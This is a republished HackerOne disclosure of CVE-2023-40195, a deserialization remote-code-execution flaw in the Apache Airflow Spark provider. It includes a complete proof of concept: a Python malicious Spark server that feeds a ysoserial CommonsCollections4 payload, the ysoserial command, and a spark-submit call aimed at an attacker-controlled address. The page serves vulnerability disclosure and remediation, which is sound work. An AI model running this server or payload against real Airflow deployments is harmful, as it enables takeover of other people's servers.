Skip to content
RCE Disclosed report Intermediate CVE-2023-40195

CVE-2023-40195: Apache Airflow Spark Provider Deserialization Vulnerability RCE

The Apache Airflow Spark provider allowed a user who could configure Spark connections to point the client at a malicious Spark server, which could send serialised Java data that the client deserialised, leading to remote code execution on the Airflow node. The report demonstrates this by configuring a connection and triggering a DAG, resulting in a command being executed on the worker.

x_h1 Follow

Originally disclosed on HackerOne

  • Triaged in 7 days
  • Fixed in 9 days
  • Paid in 9 days
  • Disclosed after 10 days

Summary by the program

Affected versions:

  • Apache Airflow Spark Provider before 4.1.3

Description:

Deserialization of Untrusted Data, Inclusion of Functionality from Untrusted Control Sphere vulnerability in Apache Software Foundation Apache Airflow Spark Provider.

When the Apache Spark provider is installed on an Airflow deployment, an Airflow user that is authorized to configure Spark hooks can effectively run arbitrary code on the Airflow node by pointing it at a malicious Spark server. Prior to version 4.1.3, this was not called out in the documentation explicitly, so it is possible that administrators provided authorizations to configure Spark hooks without taking this into account. We recommend administrators to review their configurations to make sure the authorization to configure Spark hooks is only provided to fully trusted users.

To view the warning in the docs please visit https://airflow.apache.org/docs/apache-airflow-providers-apache-spark/4.1.3/connections/spark.html

The report

Apache Airflow Spark Provider. After the malicious Spark server address is configured through the connections of the Airflow UI interface, attackers exploit malicious servers to manipulate pyspark clients through malicious deserialization data. So as to implement RCE attack on airflow server.

##Vulnerability principle:

  1. Analyze spark principle: Spark protocol is based on RPC communication. The RPC communication process is a serialization and deserialization process, Therefore, attackers can call arbitrary java methods through deserialization, implement RCE.

2.Spark can attack the server through malicious client deserialization, and can also attack the client through malicious server; In the Airflow scenario, PySpark is used as a client to connect to the Spark Server through Spark Provider. So, an attacker only needs to construct a malicious server to attack Airflow's Spark client.

The command that triggers deserialization is as follows: spark-submit --master spark://evil_ip:port Therefore, an attacker can configure malicious ip and port through the connections of the Airflow UI. And to execute the above command, then trigger the deserialization operation.

##Vulnerability exploitation process:

  1. Create a new ‘Spark’ connection is named ‘spark_default’,and configure the Port and Host parameter.

Host: spark://172.31.76.174 Port: 8888

###172.31.76.174 is malicious spark server address for attackers

(F2648714)

image1.png
image1.png From the original on HackerOne

2.Attackers generate malicious deserialized data (exp.der) through the deserialization tool ysoserial. Tool URL: https://github.com/frohoff/ysoserial The attacker locally executes the following commands: "C:\Program Files\Java\jre1.8.0_361\bin\java" -jar ysoserial.jar CommonsCollections4 "touch /tmp/thisisRCE" > exp.der #touch /tmp/thisisRCE is malicious commands to be executed on airflow.

image3.png
image3.png From the original on HackerOne

3.The attacker starts the malicious Spark server locally and specifies the malicious deserialized data to be transmitted. python2 evil_spark_server.py 8888 exp.der

image4.png
image4.png From the original on HackerOne
  1. Enter the DAGs menu and start hive_dag task, select “Trigger DAG w/ config”.

http://localhost:8080/trigger?dag_id=example_spark_operator

image5.png
image5.png From the original on HackerOne
  1. The final command is as follows:

spark-submit --master spark://172.31.76.174:8888 --name arrow-spark /tmp/file Through the log and server view, it can be seen that any command has been executed successfully.

image6.png
image6.png From the original on HackerOne

The malicious server successfully accepted the request and sent malicious data.

image7.png
image7.png From the original on HackerOne

Successfully executed malicious commands on Airflow Worker Server.

image8.png
image8.png From the original on HackerOne

evil_spark_server.py

#!/usr/bin/python
import socket
import os
import sys
import struct

from SocketServer import BaseRequestHandler, ThreadingTCPServer

class EchoHandler(BaseRequestHandler):
    def handle(self):
        print 'Got connection from %s'%(str(self.client_address))
        while True:
            msg = self.request.recv(8192)
            print msg
            if not msg:
                break
            if len(msg) > 16:
                print "Send msg>>>"
                self.request.send(build_msg(msg[9:17]))

def build_msg(request_id):
    payloadObj = open(sys.argv[2],'rb').read()
    msg_type = '\x04'
    head_length = 21
    msg = struct.pack('>Q',len(payloadObj) + 21) + msg_type + request_id
    msg += struct.pack('>I',len(payloadObj)) + payloadObj
    return msg
if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Usage: python %s <port> </path/to/payload>' % os.path.basename(sys.argv[0])
        sys.exit()
    serv = ThreadingTCPServer(('0.0.0.0', int(sys.argv[1])), EchoHandler)
    print "Server listening on 0.0.0.0:%s"%(sys.argv[1])
    serv.serve_forever()

DAG Demo(example_spark.py):

from datetime import datetime

from airflow.models import DAG
from airflow.providers.apache.spark.operators.spark_jdbc import SparkJDBCOperator
from airflow.providers.apache.spark.operators.spark_sql import SparkSqlOperator
from airflow.providers.apache.spark.operators.spark_submit import SparkSubmitOperator

with DAG(
    dag_id='example_spark_operator',
    schedule_interval=None,
    start_date=datetime(2021, 1, 1),
    catchup=False,
    tags=['example'],
) as dag:
    # [START howto_operator_spark_submit]
    submit_job = SparkSubmitOperator(
        application="/tmp/file", task_id="submit_job"
    )
    # [END howto_operator_spark_submit]

    # [START howto_operator_spark_jdbc]
    jdbc_to_spark_job = SparkJDBCOperator(
        cmd_type='jdbc_to_spark',
        jdbc_table="foo",
        spark_jars="${SPARK_HOME}/jars/postgresql-42.2.12.jar",
        jdbc_driver="org.postgresql.Driver",
        metastore_table="bar",
        save_mode="overwrite",
        save_format="JSON",
        task_id="jdbc_to_spark_job",
    )

    spark_to_jdbc_job = SparkJDBCOperator(
        cmd_type='spark_to_jdbc',
        jdbc_table="foo",
        spark_jars="${SPARK_HOME}/jars/postgresql-42.2.12.jar",
        jdbc_driver="org.postgresql.Driver",
        metastore_table="bar",
        save_mode="append",
        task_id="spark_to_jdbc_job",
    )
    # [END howto_operator_spark_jdbc]

    # [START howto_operator_spark_sql]
    sql_job = SparkSqlOperator(sql="SELECT * FROM bar", master="local", task_id="sql_job")
    # [END howto_operator_spark_sql]

Impact

RCE

Attachments

image2.png
image2.png From the original on HackerOne

The original report as published on HackerOne, by x_h1. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The Spark client deserialises data received from the Spark server without validating it, allowing an attacker-controlled server to send a malicious serialised payload that executes code.

Impact

An attacker with permission to configure Spark connections could execute arbitrary commands on the Airflow node, but the documentation did not explicitly warn about this risk before version 4.1.3.

What the attacker needed

Authorization to configure Spark connections; ability to trigger a DAG using Spark; attacker-controlled Spark server

The fix

The documentation was updated in version 4.1.3 to explicitly warn that only fully trusted users should be allowed to configure Spark hooks.

How it was found

  1. Create a new Spark connection named 'spark_default' and set the Host and Port to the attacker's malicious Spark server.
  2. Generate a malicious serialised payload using ysoserial with a command to execute on the Airflow server.
  3. Start a malicious Spark server locally that sends the payload when a client connects.
  4. Trigger a DAG that uses the SparkSubmitOperator, causing Airflow to connect to the malicious server.
  5. The malicious server sends the payload, and the command is executed on the Airflow worker.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When Airflow talks to a Spark server, it uses a process called deserialisation to turn data back into objects. If an attacker controls the Spark server, they can send malicious data that, when deserialised, runs commands on the Airflow machine. This means someone who can edit Spark connection settings could take over the Airflow server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by x_h1

View all

4 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.